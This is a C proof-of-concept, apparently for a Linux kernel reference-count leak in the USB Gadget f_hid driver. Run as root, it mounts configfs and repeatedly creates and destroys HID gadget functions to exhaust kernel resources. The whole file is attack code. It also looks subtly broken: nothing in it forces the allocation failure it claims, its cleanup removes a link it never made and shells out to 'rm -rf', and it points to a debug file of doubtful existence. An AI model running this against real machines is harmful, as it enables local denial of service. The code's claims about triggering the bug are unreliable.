/* CVE-2022-50514 PoC - Trigger refcount leak in f_hid driver
* This PoC demonstrates how to trigger the reference count leak
* in the Linux kernel USB Gadget f_hid driver by forcing
* report_desc allocation failure.
*
* Note: This requires root privileges and USB Gadget support.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <limits.h>
#define GADGET_PATH "/sys/kernel/config/usb_gadget/test_gadget"
#define HID_DESC_LEN 18
/* Minimal HID report descriptor */
static unsigned char hid_report_desc[] = {
0x06, 0x00, 0xFF, // Usage Page (Vendor Defined)
0x09, 0x01, // Usage (Vendor Usage 1)
0xA1, 0x01, // Collection (Application)
0x09, 0x02, // Usage (Vendor Usage 2)
0x15, 0x00, // Logical Minimum (0)
0x26, 0xFF, 0x00, // Logical Maximum (255)
0x75, 0x08, // Report Size (8)
0x95, 0x40, // Report Count (64)
0x81, 0x02, // Input (Data,Var,Abs)
0xC0 // End Collection
};
int create_gadget_hid(const char *gadget_name, unsigned char *report_desc,
int desc_len) {
char path[PATH_MAX];
int fd;
/* Step 1: Create the gadget */
snprintf(path, sizeof(path), "%s/%s", GADGET_PATH, gadget_name);
mkdir(path, 0755);
/* Step 2: Create strings and configs */
snprintf(path, sizeof(path),
"%s/%s/strings/0x409", GADGET_PATH, gadget_name);
mkdir(path, 0755);
snprintf(path, sizeof(path),
"%s/%s/configs/c.1", GADGET_PATH, gadget_name);
mkdir(path, 0755);
snprintf(path, sizeof(path),
"%s/%s/configs/c.1/strings/0x409", GADGET_PATH, gadget_name);
mkdir(path, 0755);
/* Step 3: Create HID function */
snprintf(path, sizeof(path),
"%s/%s/functions/hid.usb0", GADGET_PATH, gadget_name);
mkdir(path, 0755);
/* Step 4: Write report descriptor - this triggers the vulnerable path */
snprintf(path, sizeof(path),
"%s/%s/functions/hid.usb0/report_desc",
GADGET_PATH, gadget_name);
fd = open(path, O_WRONLY);
if (fd < 0) {
perror("open report_desc");
return -1;
}
/* Write the report descriptor to trigger allocation in kernel */
if (write(fd, report_desc, desc_len) != desc_len) {
perror("write report_desc");
close(fd);
return -1;
}
close(fd);
return 0;
}
void cleanup_gadget(const char *gadget_name) {
char path[PATH_MAX];
char cmd[PATH_MAX * 2];
/* Unlink function from config */
snprintf(path, sizeof(path),
"%s/%s/configs/c.1/hid.usb0", GADGET_PATH, gadget_name);
unlink(path);
/* Remove function */
snprintf(path, sizeof(path),
"%s/%s/functions/hid.usb0", GADGET_PATH, gadget_name);
rmdir(path);
/* Remove gadget */
snprintf(path, sizeof(path), "%s/%s", GADGET_PATH, gadget_name);
snprintf(cmd, sizeof(cmd), "rm -rf %s", path);
system(cmd);
}
int main(int argc, char *argv[]) {
int i;
int iterations = 100;
if (getuid() != 0) {
fprintf(stderr, "This PoC requires root privileges\n");
return 1;
}
/* Mount configfs if not already mounted */
if (mount("configfs", "/sys/kernel/config", "configfs", 0, NULL) != 0
&& errno != EBUSY) {
perror("mount configfs");
/* Continue anyway, configfs might already be mounted */
}
printf("CVE-2022-50514 PoC: Triggering refcount leak in f_hid driver\n");
printf("Iterations: %d\n", iterations);
/*
* Repeatedly create and destroy HID gadget functions.
* On vulnerable kernels, each failure to properly decrement
* opts->refcnt will leak a reference, eventually causing
* resource exhaustion.
*/
for (i = 0; i < iterations; i++) {
char gadget_name[64];
snprintf(gadget_name, sizeof(gadget_name), "gadget_%d", i);
printf("[%d/%d] Creating gadget: %s\n", i + 1, iterations, gadget_name);
if (create_gadget_hid(gadget_name, hid_report_desc,
sizeof(hid_report_desc)) < 0) {
fprintf(stderr, "Failed to create gadget %s\n", gadget_name);
}
cleanup_gadget(gadget_name);
}
printf("PoC completed. Check kernel logs for refcount warnings.\n");
printf("On vulnerable kernels, check /sys/kernel/debug/refcount-statistics\n");
return 0;
}